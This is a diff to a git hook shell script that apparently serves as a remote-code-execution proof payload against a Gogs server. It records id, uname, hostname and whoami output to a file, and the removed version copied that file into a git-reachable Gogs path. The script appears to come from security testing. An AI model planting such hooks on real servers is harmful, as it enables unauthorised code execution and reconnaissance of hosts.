|
|
@@ -1,7 +1,7 @@
|
|
|
#!/bin/sh
|
|
|
-id > /tmp/rce_out 2>&1
|
|
|
-uname -a >> /tmp/rce_out 2>&1
|
|
|
-hostname >> /tmp/rce_out 2>&1
|
|
|
-whoami >> /tmp/rce_out 2>&1
|
|
|
-# Also write to a path reachable via git
|
|
|
-cp /tmp/rce_out /data/gogs/data/tmp/local-r/27/rce_proof.txt 2>/dev/null || true
|
|
|
+echo "HOOK_EXECUTED" > "$(dirname "$0")/hook_ran.txt"
|
|
|
+id >> "$(dirname "$0")/hook_ran.txt" 2>&1
|
|
|
+uname -a >> "$(dirname "$0")/hook_ran.txt" 2>&1
|
|
|
+hostname >> "$(dirname "$0")/hook_ran.txt" 2>&1
|
|
|
+whoami >> "$(dirname "$0")/hook_ran.txt" 2>&1
|
|
|
+echo "HOOK_DONE" >> "$(dirname "$0")/hook_ran.txt"
|